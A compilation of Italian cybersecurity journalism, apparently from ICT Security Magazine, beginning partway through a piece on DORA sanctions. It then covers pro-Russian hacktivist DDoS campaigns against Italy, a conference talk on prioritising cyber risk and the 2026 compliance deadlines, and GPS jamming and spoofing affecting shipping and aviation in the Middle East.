Per i CTPP sottoposti a vigilanza diretta delle ESA, il regime sanzionatorio è disciplinato dall’articolo 35 del Regolamento (UE) 2022/2554: il Lead Overseer può imporre sanzioni pecuniarie fino all’1% del fatturato giornaliero medio mondiale del fornitore, calcolato sull’esercizio precedente. Questa sanzione può essere applicata su base giornaliera per un massimo di sei mesi, fino a quando il fornitore non abbia rimediato alle non conformità.

Le autorità competenti in Italia per l’applicazione di DORA sono, in conformità con quanto previsto dall’articolo 46 del Regolamento DORA: Banca d’Italia, Consob, IVASS e COVIP, ciascuna responsabile per i soggetti rientranti nel proprio perimetro di vigilanza.

Prospettiva strategica: oltre la compliance

L’approccio riduttivo che riduce DORA a un esercizio di adeguamento formale rischia di perderne il valore più profondo. Adeguarsi a DORA non significa solo aggiornare policy e procedure, ma ridisegnare i processi aziendali, integrando strumenti di governance, gestione del rischio ICT e continuità operativa. Questo rappresenta un’opportunità per trasformare la compliance in leva strategica di resilienza e innovazione.

I dati lo confermano: il Rapporto Clusit 2026, presentato a marzo 2026, ha rilevato che il comparto finanziario e assicurativo si attesta al 6,3% degli incidenti globali, mostrando segnali di resistenza rispetto agli altri comparti, proprio grazie all’impatto di DORA e agli investimenti in sicurezza che la norma ha imposto.

https://www.ictsecuritymagazine.com/articoli/adempimenti-dora/

C’è un numero che, più di ogni altro, racconta la singolarità italiana nel panorama globale della cybersicurezza: 54%. È la quota degli attacchi informatici registrati in Italia nel primo semestre del 2025 attribuiti all’hacktivism. Nel resto del mondo, quella stessa categoria pesa appena l’8%. Non si tratta di un errore statistico, né di una distorsione metodologica. È la fotografia di un Paese che ha sviluppato, suo malgrado, una relazione del tutto peculiare con una delle minacce più sottovalutate dell’era digitale.

Un’anomalia che i numeri rendono impossibile ignorare

Nel primo semestre 2025 si contano 280 incidenti informatici gravi in Italia, su un totale mondiale di 2.755: il 10,2% del totale globale. Una quota sproporzionata rispetto a qualsiasi indicatore demografico o economico del Paese. La traiettoria è inequivocabile: si è passati dal 3,4% del 2021 al 7,6% del 2022, fino al 9,9% del 2024 e all’attuale 10,2%. Un’escalation costante che nessuna contingenza episodica può spiegare da sola.

Il paradosso più stridente è strutturale: in Italia gli attacchi classificati come hacktivism rappresentano il 54% del totale, mentre il cybercrime “tradizionale” si ferma al 46%. Nel resto del mondo il rapporto è esattamente invertito: il cybercrime vale l’87% degli incidenti, l’hacktivism appena l’8%. L’Italia è letteralmente l’unico grande Paese occidentale in cui la politica batte il profitto come motore degli attacchi informatici.

Che cosa si intende per hacktivism e perché è cambiato tutto

L’hacktivism non è una novità. Il termine descrive l’utilizzo di tecniche informatiche per promuovere cause politiche o sociali, ed è almeno dai tempi di Anonymous, collettivo internazionale decentralizzato fondato nel 2003, che questa forma di attivismo digitale occupa le cronache. Ma ciò che un tempo era rappresentato quasi esclusivamente da Anonymous ha ripreso vigore con le azioni dimostrative portate avanti da molti gruppi filo-russi come NoName057, tornati in primo piano con i conflitti in corso.

Il cambiamento qualitativo è profondo. L’hacktivism modifica le regole del gioco proprio perché riduce ai minimi termini i margini di negoziazione con gli attaccanti, che agiscono senza logiche di profitto e per i quali non esiste un prezzo da pagare per ottenere la cessazione dell’attività ostile. Se il ransomware ha sempre una geometria contrattuale (paghi e forse riotieni l’accesso), l’hacktivism punta alla visibilità, non al denaro. Non c’è riscatto. C’è solo il messaggio.

Il protagonista: NoName057(16) e la guerra ibrida contro l’Italia

Il collettivo che più di ogni altro ha trasformato l’Italia in un bersaglio è NoName057(16). Nato nel marzo 2022, il gruppo è il threat actor hacktivista più prolifico al mondo secondo Radware: nel 2024 ha rivendicato 4.767 attacchi DDoS, distaccando nettamente tutti gli altri collettivi (il secondo classificato, RipperSec, si è fermato a 1.388 attacchi). Secondo i dati di Yarix (Var Group), che ha mappato 97 gruppi hacktivisti globali nel 2024, NoName057 ha totalizzato oltre il 55% degli attacchi nei settori Energia & Utility, Sanità, Banca & Finanza e Trasporti & Logistica.

Il meccanismo operativo è semplice nella forma ma efficace nell’impatto: effettua prevalentemente attacchi dimostrativi di tipo DDoS, che poi rivendica con messaggi sul proprio canale Telegram, sfruttando le risorse computazionali altrui per dirigere attacchi contro organizzazioni occidentali e campagne di comunicazione per diffondere le proprie attività attraverso i social.

La logica di targeting è dichiarata e di cristallina semplicità geopolitica. Ogni dichiarazione pubblica di un esponente istituzionale italiano a sostegno dell’Ucraina diventa il pretesto per una nuova campagna. A marzo 2023, dopo che la premier Meloni aveva confermato il supporto di Roma a Kiev, NoName057 aveva preso di mira il sito del governo, della Camera e dei ministeri di Difesa, Esteri e Trasporti, oltre ad Atac, Atm e l’aeroporto di Bologna, pubblicando sul canale Telegram: “I nostri missili DDoS per i siti russofobi italiani sono maturi.”

Il 5 febbraio 2025, durante una cerimonia all’Università di Aix-Marseille, il Presidente Mattarella aveva paragonato l’aggressione russa all’Ucraina all’espansionismo del Terzo Reich. La portavoce del ministero degli Esteri russo, Maria Zakharova, aveva promesso “conseguenze.” Le conseguenze arrivarono puntuali: a partire dal 17 febbraio l’Italia subì oltre dodici giorni consecutivi di attacchi contro le proprie infrastrutture digitali. Tra i bersagli colpiti figuravano Intesa Sanpaolo, Banca Monte dei Paschi di Siena, gli aeroporti di Milano Malpensa e Linate, diverse compagnie di trasporto pubblico locale, i porti di Taranto, Trieste e Genova, per poi estendersi a ministeri, forze dell’ordine, regioni, comuni e aziende strategiche come Leonardo, Banca d’Italia ed Edison.

Il salto di qualità più recente è ancora più preoccupante: NoName057 ha aperto un canale Telegram in lingua italiana, pubblicando notizie politiche selezionate come esempi di “ostilità verso la Russia.” Questo segna un’espansione della campagna di propaganda che ora punta direttamente a reclutare seguaci in Italia, non solo a colpirla.

Le vittime preferite: istituzioni pubbliche e infrastrutture critiche

Nel primo semestre del 2025 la categoria più colpita in Italia è stata quella governativa, militare e delle forze dell’ordine, con il 38% del totale degli incidenti: un dato che rappresenta il 279% del totale degli eventi avvenuti in tutto il 2024 verso questo settore, con una crescita del 600% rispetto allo stesso periodo dell’anno precedente. Un incremento che non ha eguali in nessun altro comparto.

Quasi quattro attacchi su dieci in Italia hanno colpito enti governativi, forze dell’ordine o strutture militari. Un segnale chiaro che la nostra infrastruttura pubblica è percepita come vulnerabile e, quindi, appetibile.

Al secondo posto per tipologia di vittime si trova il settore trasporti e logistica, con il 17% degli incidenti: in soli sei mesi una volta e mezzo il totale degli incidenti cyber avvenuti nell’intero 2024. Non è casuale: colpire mobilità e filiere logistiche significa moltiplicare l’impatto sociale e mediatico degli attacchi, trasformando un evento tecnico in un fatto politico percepibile dai cittadini.

La tecnica: il DDoS come arma politica

La tecnica prevalente negli incidenti in Italia nel primo semestre del 2025 è stata il DDoS, con un peso del 54%, a fronte del 9% rilevato a livello globale. Il dato tecnico è inseparabile da quello politico: il DDoS è la forma d’attacco preferita degli hacktivist perché è visibile, economicamente accessibile, scalabile tramite reti di volontari e soprattutto comunicativamente efficace.

Strumenti come DDoSia, sviluppato dallo stesso NoName057, consentono agli utenti di unire la potenza computazionale dei propri dispositivi per colpire un obiettivo comune, rendendo l’attacco accessibile a un pubblico ampio e motivato ideologicamente.

L’Italia però non è solo bersaglio passivo. Anonymous Italia ha risposto alle campagne di NoName057 con operazioni di defacement contro siti web russi, inserendo messaggi come “Abbiamo hackerato il tuo sito per combattere la guerra ingiusta di invasione dell’Ucraina,” trasformando il cyberspazio italiano in un teatro attivo del conflitto digitale.

La “stranezza” italiana: perché gli attacchi fanno meno danni, ma arrivano a segno di più

C’è una contraddizione apparente nei dati che merita attenzione critica. In Italia la quota di incidenti con gravità “critica” è del 7%, contro il 29% nel mondo; quelli con impatto “medio” rappresentano il 60% del totale, contro il 18% globale. Sembrerebbe una buona notizia: gli attacchi che subisce l’Italia sono meno devastanti. Ma il Clusit invita a non fraintendere.

Il fatto che il report consideri solo gli attacchi andati a segno lascia un’impressione inquietante: in Italia si va in sofferenza di fronte ad attacchi DDoS che altri Paesi riescono a gestire con relativa tranquillità. La bassa severità non è indice di buona difesa: è indice della tipologia di attacco. Un DDoS che rende inaccessibile per ore il sito di un ministero non ruba dati, ma è andato comunque a segno. E il fatto che accada così spesso, in un Paese del G7, è in sé un problema strutturale.

Oltre la Russia: il panorama degli hacktivist in evoluzione

Sarebbe riduttivo limitare l’analisi al solo vettore filorusso. Il team di Cyber Intelligence di Yarix ha censito 97 gruppi hacktivisti attivi a livello globale nel 2024, di cui NoName057 è il più attivo, responsabile di oltre il 55% degli attacchi nei settori energia, sanità, banca, finanza e trasporti.

Il fenomeno si sta però stratificando. Collettivi come GlorySec, che dichiara fedeltà ai valori occidentali e si definisce “anarco-capitalista,” o SiegedSec, sciolto nel luglio 2024 ammettendo il crimine informatico, mostrano come l’hacktivism sia ormai uno spazio ideologicamente plurale, dove convivono agende politiche opposte. La competizione non è più solo tra hacktivisti filo-russi e filo-ucraini: è uno spazio caotico in cui si mescolano propaganda statale, ideologie radicali e semplice opportunismo mediatico.

L’ENISA, nel suo rapporto sul periodo luglio 2024-giugno 2025, ha registrato 4.875 incidenti nell’Unione Europea, di cui il 76,7% classificato come DDoS, in larghissima parte attribuibile ad hacktivisti.

La risposta istituzionale: l’ACN e i limiti del sistema

L’Agenzia per la Cybersicurezza Nazionale (ACN) è intervenuta sistematicamente per coordinare le operazioni di mitigazione, avvisare le strutture coinvolte e offrire supporto tecnico durante le campagne di attacco. La risposta operativa include il monitoraggio del traffico anomalo, l’avvio di procedure di mitigazione e la coordinazione con le agenzie di sicurezza partner.

Sul fronte degli eventi internazionali, qualche segnale di miglioramento è emerso: in febbraio 2026, un tentativo coordinato di attacco contro i siti della Farnesina e dell’ecosistema digitale di Milano-Cortina 2026 è stato individuato e neutralizzato in fase preventiva, senza sottrazione di dati sensibili, grazie al rafforzamento delle strutture interne di sicurezza.

Ma la sfida rimane strutturale. Nel 2025 i casi trattati dalla Polizia Postale hanno raggiunto quota 51.560, con 9.250 casistiche specifiche di attacchi informatici e oltre 49.000 alert diramati per prevenire minacce ai sistemi di interesse nazionale. Un numero che dà la misura non solo della gravità del fenomeno, ma anche del carico operativo che grava su strutture che devono ancora completare la propria transizione verso una postura di sicurezza adeguata alla minaccia attuale.

Perché l’Italia è un’anomalia e cosa ci dice del futuro

L’Italia è un’anomalia globale nell’hacktivism per una convergenza di fattori che non sono accidentali. Il posizionamento geopolitico, membro NATO, sostenitore della causa ucraina, Paese con un ruolo attivo nel dibattito europeo sulla sicurezza, la rende un bersaglio ideologicamente “meritevole” agli occhi dei collettivi filorussi. Il profilo istituzionale, con siti governativi, militari e di pubblica utilità spesso sottodimensionati sul fronte della difesa informatica rispetto ai loro omologhi nordeuropei, la rende un bersaglio tecnicamente accessibile. La vivacità mediatica del sistema politico, con dichiarazioni pubbliche che si traducono in casus belli digitali nel giro di ore, la rende un bersaglio narrativamente efficace.

Come analizzato in dettaglio nell’approfondimento di ICT Security Magazine sulla cybercrisi italiana del 2025, non sono gli attacchi sofisticati a mettere in ginocchio l’Italia, ma quelli più “semplici” e rumorosi, che altrove vengono neutralizzati prima di fare notizia. È questa la vera anomalia: non la complessità delle minacce che affrontiamo, ma la facilità con cui minacce relativamente elementari trovano il modo di colpire.

La vera resilienza non si acquisisce con la tecnologia, ma si costruisce giorno dopo giorno con competenze, processi e cultura. La sicurezza cibernetica non è un prodotto che si acquista, ma un processo continuo di adattamento. Un processo che l’Italia, stando ai numeri, non ha ancora completato e che le sfide geopolitiche dei prossimi anni renderanno sempre più urgente.

https://www.ictsecuritymagazine.com/articoli/hacktivism-in-italia/

Dall’intervento di Luca Bonora, Cybersecurity Evangelist di Cyberoo, alla 14ª Cyber Crime Conference (Roma, 6 maggio 2026)

Stratificare soluzioni, accumulare dashboard, ampliare il perimetro tecnologico senza rivedere le priorità: è il rischio operativo che molte organizzazioni continuano a correre nel 2026, mentre la velocità degli attacchi si misura ormai in minuti e la superficie esposta cresce a ogni nuova integrazione. Nel suo intervento alla 14ª Cyber Crime Conference, Luca Bonora, Cybersecurity Evangelist di Cyberoo, ha proposto un cambio di prospettiva: smettere di sommare strumenti e ricominciare a chiedersi se ogni investimento contribuisca realmente ad abbassare il rischio. Una riflessione che intreccia gestione del rischio, sovranità digitale e resilienza operativa, con il riferimento metodologico all’Osservatorio Cyberoo 2026.

Strategia cyber: scegliere cosa non fare

«L’essenza della strategia è scegliere cosa non fare»: la citazione di Michael Porter apre il ragionamento di Bonora sul paradosso che caratterizza molte funzioni di sicurezza. Aggiungere strati di protezione, accumulare prodotti che generano alert e falsi positivi non guardati, non solo non rafforza la postura difensiva, ma sottrae tempo e budget ad attività realmente efficaci. La domanda di fondo, ribadita più volte durante l’intervento, è semplice: sto investendo dove serve davvero per ridurre il rischio?

La gestione del rischio è in primo luogo un esercizio di priorità: definire cosa proteggere davvero, perché e con quale precedenza. Una formula utile per inquadrare il problema è Rischio = Probabilità × Impatto, dove la probabilità è funzione di minacce e vulnerabilità, e l’impatto è modulato dalla capacità di risposta dell’organizzazione. Il principio operativo che ne deriva, sottolinea Bonora, è netto: l’obiettivo non è zero attacchi, ma zero incidenti gravi.

In questa equazione, vulnerabilità e minacce hanno nature diverse. Le vulnerabilità dipendono dai software, dai prodotti e dalle scelte tecnologiche, e una volta identificate possono essere gestite in modo relativamente standardizzato. Le minacce, invece, dipendono interamente dal business di ciascuna organizzazione: non esistono minacce universali, esistono minacce contestuali. La capacità di risposta, infine, è ciò che determina se un attacco riuscito diventa un incidente grave o un evento contenuto: e qui la finestra temporale a disposizione è drasticamente più stretta di un tempo. «Una volta avrei detto che gli attacchi compromettono un’azienda in settimane o mesi», ha osservato Bonora. «Oggi parliamo di minuti».

La matrice di Rumsfeld applicata alla gestione del rischio cyber

Per orientare l’analisi del rischio, Bonora richiama la celebre matrice attribuita a Donald Rumsfeld, che incrocia ciò che si conosce con ciò che non si conosce. Applicata alla cybersecurity, la matrice produce quattro quadranti.

I known/known sono i rischi e le informazioni già identificati e misurabili: processi formalizzati, CVE note al proprio vendor di riferimento, asset censiti. I known/unknown sono rischi riconosciuti ma non ancora quantificati: il sistema legacy non aggiornabile, l’ambito industriale di produzione che non si può patchare perché il fornitore ha chiuso. Riconoscerli significa già fare un passo avanti, perché consente di costruire intorno a quegli asset una bubble di contenimento e di pianificare il budget per la sostituzione.

I quadranti più scomodi sono gli unknown/known e gli unknown/unknown. I primi sono informazioni disponibili che però non vengono usate nei processi decisionali: un segnale debole già presente nei log, un alert del fornitore non integrato nelle valutazioni o i bias indirizzati dalla storia dell’azienda e dei limiti di consapevolezza in azienda. I secondi sono i rischi fuori dal modello mentale o dal perimetro di osservazione: nuovi vettori di attacco, tecniche emergenti, compromissioni che non rientrano nei modelli di minaccia conosciuti. È su questo quadrante che si gioca la capacità di reazione: non potendo prevedere a priori gli eventi, l’organizzazione deve dotarsi di processi, servizi e soluzioni che le permettano di rispondere nel qui e ora.

Il puzzle del rischio: sei tessere per il 2026

Su queste basi metodologiche, Bonora propone una metafora ricorrente nei materiali Cyberoo: il puzzle del rischio. Ogni organizzazione deve costruire il proprio, evitando l’errore di credere di stare componendo l’immagine giusta quando si stanno in realtà incastrando i pezzi sbagliati. Le tessere da considerare nel 2026 sono sei: sovranità digitale, intelligenza artificiale, persone e awareness, Industrial OT, supply chain, consumo energetico. Ognuna corrisponde a un asse di rischio, e ognuna chiama una risposta operativa specifica.

Sovranità digitale: indipendenza, competitività, innovazione

La prima tessera è la sovranità digitale, tema che il contesto geopolitico attuale ha riportato al centro dell’agenda. Il vero rischio, sottolinea Bonora, non è astratto: è perdere il controllo operativo di identità, dati e servizi, anche quando questi risiedono in cloud. Le domande da porsi sono operative: adottando una determinata soluzione, da quale vendor dipendo? È italiano, europeo, extra UE?

Se quel fornitore venisse compromesso, o se decisioni politiche al di fuori del nostro perimetro normativo ne modificassero unilateralmente le condizioni d’uso, che impatto avrebbe sul business e sui dati? In uno scenario in cui le geometrie politiche internazionali possono cambiare rapidamente, e in cui Italia ed Europa hanno faticato per costruire un impianto normativo coerente (GDPR, NIS2, DORA), queste domande non sono più accademiche.

La sovranità digitale, nella lettura di Cyberoo, poggia su tre pilastri: indipendenza, competitività, innovazione. Non è isolamento, è controllo consapevole del rischio. Pilastri che non si costruiscono da soli, ma mettendo in rete capacità europee già esistenti: chi sviluppa cloud europeo, chi sviluppa cybersecurity europea, chi produce componentistica industriale. È un percorso collettivo, che richiede anche scelte di filiera consapevoli da parte dei singoli acquirenti.

Intelligenza artificiale: agenti e attacchi AI

La seconda tessera è l’intelligenza artificiale, che oggi va affrontata su due fronti convergenti. La minaccia non è solo l’AI che potenzia gli attacchi, è anche quella degli agenti che operano in autonomia, sia che vengano usati contro l’organizzazione sia che vengano dispiegati al suo interno senza regole adeguate.

Sul piano esterno, l’AI è un moltiplicatore di efficacia per il cybercrime. Gli LLM commerciali rifiutano richieste esplicitamente offensive, ma esistono tecniche documentate per aggirare questi guardrail, e l’industria criminale è particolarmente abile nel farlo. Se l’attacco diventa più veloce e più performante grazie all’AI, anche la difesa deve dotarsi di strumenti altrettanto rapidi: «se siamo un pelo meno performanti, siamo fuori».

Sul piano interno, la tentazione opposta è la rimozione: vietare l’uso dell’AI in azienda nella convinzione di aver risolto il problema. È un’illusione, perché i dipendenti la usano comunque, anche solo nelle ricerche su Google mediate da Gemini. La strada operativa è la governance: regolamentare quali LLM siano ammessi, quali agenti possano essere configurati, e soprattutto educare i colleghi alle impostazioni di base dei client, a partire dalla disattivazione dell’apprendimento sui dati immessi.

Bonora richiama con forza il principio dello human in the loop: gli agenti possono compiere operazioni con velocità ed efficienza ineguagliabili, ma la decisione sull’applicabilità del loro output deve restare in capo a una persona, sia per ragioni di qualità sia per contenere il rischio di compromissioni che, attraverso l’agente, possano propagarsi all’intera infrastruttura.

Persone e awareness: comportamenti, non utenti

La terza tessera è il fattore umano, e qui Bonora prende posizione con nettezza contro un luogo comune ricorrente: «sono stanco di sentirmi dire che il problema sta tra la tastiera e la sedia». Il rischio non è l’utente, sono i comportamenti non allenati: sotto pressione il cervello semplifica, si affida e sbaglia. È un meccanismo cognitivo, non una colpa individuale, e va affrontato come tale.

L’analogia operativa è quella del firewall: un dispositivo tecnologico viene aggiornato, configurato, patchato e monitorato nel tempo, mentre lo stesso processo raramente viene applicato al “primo e più diffuso firewall aziendale: l’uomo”. La formazione tradizionale, con sessioni in aula e moduli compliance-driven, produce risultati limitati: «partono zucchine e arrivano cetrioli», nota Bonora a proposito della varianza con cui ciascun ascoltatore interpreta lo stesso messaggio. La strada operativa è quella delle piattaforme di security awareness basate sulle scienze cognitive, progettate per modificare il comportamento e non semplicemente per trasferire nozioni.

Industrial OT: nessun margine, impatti fisici

La quarta tessera riguarda l’ambito industriale e Operational Technology. L’OT non ha margini: una debolezza può generare impatti fisici, fermi produttivi e recovery complesse, con costi che superano di gran lunga quelli tipici di un incidente IT. Anche le organizzazioni con sola componente IT non possono ignorare il tema: dove esista produzione industriale, la separazione tra responsabili IT e responsabili di produzione produce spesso zone grigie in cui un firewall perimetrale viene scambiato per una soluzione completa. La realtà operativa è diversa: la VPN di un manutentore, l’accesso a un armadio di rete, una macchina utensile connessa possono diventare il punto di ingresso verso l’intera infrastruttura.

NIS2 e Regolamento Macchine obbligano oggi a valutare il rischio in ambito industriale con la stessa serietà con cui lo si valuta in ambito IT, fermo restando che l’approccio non può essere identico: la continuità operativa è prioritaria, e qualunque misura deve essere progettata per non interromperla. Isolamento e controllo, in questa logica, sono le parole d’ordine.

Supply chain: il rischio ereditato

La quinta tessera è la supply chain, definita da Bonora con un’espressione efficace: la vulnerabilità di un partner diventa immediatamente la propria, è rischio ereditato. Un dato dell’Osservatorio Cyberoo 2026 viene proposto come riferimento: oltre 2.700 CVE univoche individuate nel 2025 sui fornitori monitorati. Una superficie di esposizione che si propaga lungo la catena di fornitura e che oggi nessun perimetro interno può contenere da solo.

La proposta operativa è di tradurre l’attenzione alla supply chain in clausole contrattuali e in audit di terze parti. Nessuna norma lo impone in modo esplicito al di fuori degli obblighi previsti da NIS2 e DORA, ma scrivere a contratto cosa il fornitore farà per mantenere bassa la propria esposizione, e quali informazioni dovrà comunicare in caso di nuove CVE critiche, sposta il presidio dal post mortem alla prevenzione. Costo aggiuntivo: zero. Beneficio: la consapevolezza necessaria per fare scelte operative tempestive.

Consumo energetico: capacità quando serve

La sesta tessera è apparentemente la più distante dalla cybersecurity, ma chiude il cerchio aperto dalla prima. Più potenza digitale richiede più energia, e il rischio è restare senza capacità quando serve. Il consumo energetico degli ambienti IT, dei data center e soprattutto dei carichi AI è diventato un tema strutturale: lasciare agli utenti l’uso illimitato di token su modelli generativi può comportare costi operativi rilevanti, e l’energia necessaria a far girare agenti AI all’interno delle infrastrutture aziendali pesa ormai quanto la bolletta software. L’ottimizzazione dei consumi digitali è una leva di resilienza, oltre che di sostenibilità: la sovranità digitale, ha ricordato Bonora, passa anche attraverso la sovranità energetica.

Compliance 2026: una timeline da presidiare

Le sei tessere del puzzle si incastrano in un contesto regolatorio particolarmente denso nel 2026. Bonora richiama quattro scadenze chiave. Il 2 agosto 2026 entra in piena applicazione l’AI Act per i sistemi ad alto rischio, con obblighi di requisiti e trasparenza. L’11 settembre 2026 scatta l’obbligo di notifica delle vulnerabilità entro 24 ore previsto dal Cyber Resilience Act, applicabile anche ai prodotti già in commercio.

Il 31 ottobre 2026 è il termine per le misure di sicurezza minime della Direttiva NIS2, con governance, risk management e controlli che devono essere pienamente operativi. A questi si aggiunge il Regolamento DORA, con testing e controlli ICT estesi ai fornitori critici e un reporting rafforzato. Una griglia di adempimenti che, se affrontata con la testa di chi vuole davvero abbassare il rischio (e non solo barrare caselle), diventa un acceleratore della trasformazione e non una zavorra.

Ridurre il rischio 2026: sei risposte operative

Alle sei tessere del puzzle Bonora associa altrettante risposte operative, che compongono insieme una roadmap di mitigazione: autonomia e indipendenza europea sulla dimensione della sovranità digitale; agenti e regolamenti interni definiti per governare l’AI in azienda; training sui comportamenti di sicurezza per le persone; isolamento e controllo per l’OT industriale; trasparenza e audit di terze parti per la supply chain; ottimizzazione dei consumi digitali sul fronte energetico.

Sei pezzi che si incastrano l’uno con l’altro: la sostituzione di uno con uno generico (l’ennesima soluzione tecnologica acquistata «perché serve») rompe il disegno complessivo.

Vincere insieme: ricomporre il puzzle, non aggiungere strati

Il messaggio conclusivo è netto: «oggi non vince chi aggiunge strati, ma chi sa ricomporre il puzzle del rischio riducendo davvero l’esposizione». Ogni azienda costruisce un puzzle diverso, perché le minacce dipendono dal business e i pezzi vanno incastrati uno per uno. Cyberoo, definita dal mercato «la boutique della cybersecurity», si posiziona come vendor italiano con un approccio sartoriale alla difesa operativa. L’Osservatorio Cyberoo 2026, citato più volte durante l’intervento, raccoglie i dati e gli spunti di ragionamento sui quali questo approccio si fonda.

Resta, oltre le tessere e gli strumenti, l’invito che chiude l’intervento: smettere di stratificare, ricominciare a scegliere, costruire il puzzle giusto.

Cyberoo è stato Platinum Sponsor della 14ª edizione della Cyber Crime Conference.

https://www.ictsecuritymagazine.com/articoli/sovranita-digitale-cyberoo/

Dal Medio Oriente al Mar Baltico, il fenomeno del GPS Spoofing e dei sistemi GNSS sono diventati campo di battaglia digitale. Ecco cosa sta succedendo e perché nessun settore può ancora dirsi al sicuro.

Un segnale fragile che muove il mondo

C’è qualcosa di paradossale nel modo in cui la civiltà tecnologica ha costruito la propria dipendenza da un segnale radio che percorre oltre 20.000 chilometri di spazio vuoto prima di raggiungere un ricevitore. I sistemi GNSS (Global Navigation Satellite Systems), di cui il GPS americano è il più noto, trasmettono un impulso tenue, debolissimo, che nel momento in cui raggiunge la superficie terrestre ha una potenza appena superiore al rumore di fondo. È quella fragilità fisica, intrinseca e difficilmente risolvibile senza riprogettare l’intera architettura delle costellazioni satellitari, la radice di una vulnerabilità che ha smesso da tempo di essere teorica.

Nel 2026, il problema è diventato strutturale. Non si tratta più di incidenti isolati in zone di conflitto: si tratta di una minaccia che ridisegna la sicurezza dell’aviazione civile, del trasporto marittimo, della logistica globale e, in modo sempre più preoccupante, delle infrastrutture critiche di interi Paesi.

Jamming e spoofing: due armi, un’unica vulnerabilità

Prima di analizzare la portata del fenomeno è necessario distinguere due tecniche che vengono spesso confuse ma che differiscono significativamente nei meccanismi e nell’impatto operativo.

Il jamming è la forma più elementare di attacco: un trasmettitore al suolo emette segnali radio sulla stessa frequenza del GNSS, saturando il ricevitore e privandolo di qualsiasi capacità di calcolo posizionale. L’effetto è immediato e riconoscibile (il sistema smette semplicemente di funzionare), ma è anche relativamente rilevabile. Il problema è che «rilevabile» non significa «contrastabile», specialmente a bordo di un aeromobile in fase di avvicinamento o di una nave in transito in acque ristrette.

Lo spoofing è tecnicamente più sofisticato e operativamente più insidioso. L’attaccante non blocca il segnale: lo sostituisce. Trasmette segnali falsificati che imitano quelli autentici delle costellazioni satellitari, inducendo il ricevitore a calcolare una posizione errata senza che l’operatore riceva alcun allarme esplicito. L’aereo pensa di trovarsi dove non è. La nave traccia una rotta verso un porto fantasma. Il veicolo commerciale consegna il proprio carico alle coordinate sbagliate. Sulle mappe AIS (Automatic Identification System), l’effetto è spesso identificabile a posteriori: navi che sembrano muoversi in perfetti cerchi geometrici, i cosiddetti crop circles, oppure che risultano posizionate su aeroporti e centrali nucleari a centinaia di miglia dal loro percorso effettivo.

Come approfondito in una nostra analisi dedicata alle vulnerabilità AIS e GPS nei sistemi navali, la convergenza tra sistemi di navigazione e infrastrutture digitali di bordo crea superfici d’attacco che i progettisti di vent’anni fa non avrebbero potuto immaginare.

La mappa del caos: scenari verificati, dati aggiornati

I dati del 2025-2026 descrivono un’escalation senza precedenti. Secondo il Rapporto Annuale sulla Sicurezza 2025 dell’IATA, pubblicato il 9 marzo 2026, gli eventi di jamming registrati nel 2025 sono aumentati del 67% rispetto al 2023, mentre gli incidenti di spoofing GPS sono cresciuti del 193%. Si tratta di due fenomeni distinti, con due traiettorie di crescita separate, entrambe allarmanti. Willie Walsh, Direttore Generale IATA, ha definito queste pratiche «inaccettabili e irresponsabili», chiedendo ai governi di intervenire immediatamente. A livello globale, i servizi di monitoraggio open source come SkAI Data Services stimavano per il 2025 circa 1.000 eventi di interferenza GNSS al giorno a livello mondiale, in aumento rispetto ai circa 700 giornalieri del 2024.

Il Medio Oriente: due conflitti, un banco di prova permanente

La Guerra dei Dodici Giorni (giugno 2025)

Il 13 giugno 2025, con una serie di attacchi aerei su infrastrutture nucleari e basi militari iraniane, Israele ha avviato quello che Donald Trump avrebbe poi ribattezzato Twelve-Day War, conclusosi con un cessate il fuoco il 23 giugno 2025. L’Iran ha risposto attivando sistematicamente il jamming GPS su vaste aree metropolitane con la finalità dichiarata, confermata dallo stesso Vice Ministro delle Comunicazioni iraniano Ehsan Chitsaz al quotidiano Ham-Mihan, di neutralizzare i droni e i missili a guida satellitare: «Alcune delle perturbazioni al sistema GPS originano dall’interno del Paese per finalità militari e di sicurezza».

Durante i dodici giorni di conflitto, il Maritime Information Cooperation and Awareness Center ha stimato che circa 970 navi al giorno hanno subito interferenze GPS nello Stretto di Hormuz, con una riduzione del traffico di circa il 20% mentre le imbarcazioni limitavano i transiti alle ore diurne. Windward AI ha documentato oltre 3.000 navi disturbate nel Golfo Persico e nello Stretto di Hormuz nell’arco di meno di due settimane.

Le conseguenze operative hanno raggiunto un punto critico il 17 giugno 2025, quando la petroliera VLCC Front Eagle, battente bandiera liberiana e carica di circa 2 milioni di barili di greggio diretto in Cina, ha colliso con la petroliera Suezmax Adalynn circa 25 miglia nautiche a nordest di Khor Fakkan, negli Emirati Arabi Uniti. Le analisi dei dati AIS di Windward mostravano che la Front Eagle aveva subito interferenze elettroniche persistenti nelle ore precedenti, con il tracciamento che la posizionava erroneamente in territorio iraniano.

Entrambe le navi hanno preso fuoco; l’equipaggio dell’Adalynn (24 persone) è stato evacuato dalla guardia costiera degli Emirati. È la prima collisione tra petroliere in cui l’interferenza GNSS è stata formalmente identificata come probabile fattore contributivo.

Un’altra conseguenza diretta del conflitto: il 23 giugno 2025, nello stesso giorno del cessate il fuoco, l’Iran ha formalmente disattivato la ricezione GPS a livello nazionale, completando la transizione al sistema satellitare cinese BeiDou, costruita su una cooperazione sino-iraniana avviata nel 2015 e formalizzata con la Partnership Strategica Complessiva del 2021. È la prima volta che uno Stato sovrano abbandona formalmente il GPS civile in favore di un’alternativa geopoliticamente antagonista.

Operazione Epic Fury (febbraio 2026, conflitto in corso)

Il 28 febbraio 2026, alle 1:15 ora locale, gli Stati Uniti e Israele hanno avviato l’Operazione Epic Fury, denominata israeliana Operation Roaring Lion, con attacchi su infrastrutture nucleari, militari e di comando iraniane. Il conflitto è tuttora in corso al momento della stesura di questo articolo e ha prodotto l’escalation di interferenza GNSS più massiccia mai documentata.

Nelle prime 24 ore dall’avvio dei bombardamenti, Windward ha rilevato oltre 1.100 navi con sistemi di navigazione compromessi nelle acque del Golfo Persico, del Golfo dell’Oman e dei mari di UAE, Qatar e Oman, riposizionate erroneamente su aeroporti, sulla centrale nucleare di Barakah e su terre iraniane. Windward ha identificato almeno 21 nuovi cluster di jamming AIS nella prima giornata, saliti a 38 nelle 24 ore successive.

Secondo i dati di Lloyd’s List Intelligence, tra l’inizio del conflitto e il 3 marzo 2026 sono stati registrati 1.735 eventi di interferenza GPS che hanno coinvolto 655 navi, ciascuno con una durata media di tre o quattro ore. Gli incidenti giornalieri sono più che raddoppiati, passando da 350 alla vigilia del conflitto a 672 entro il 2 marzo 2026.

Maersk ha annunciato il dirottamento di alcune rotte lontano dalla regione, citando la sicurezza di equipaggio e carico. I premi assicurativi marittimi in alcuni mercati asiatici sono aumentati del 15-30%, mentre i noli per i percorsi Golfo-Cina hanno registrato rincari nell’ordine del 24% nell’immediato avvio delle operazioni.

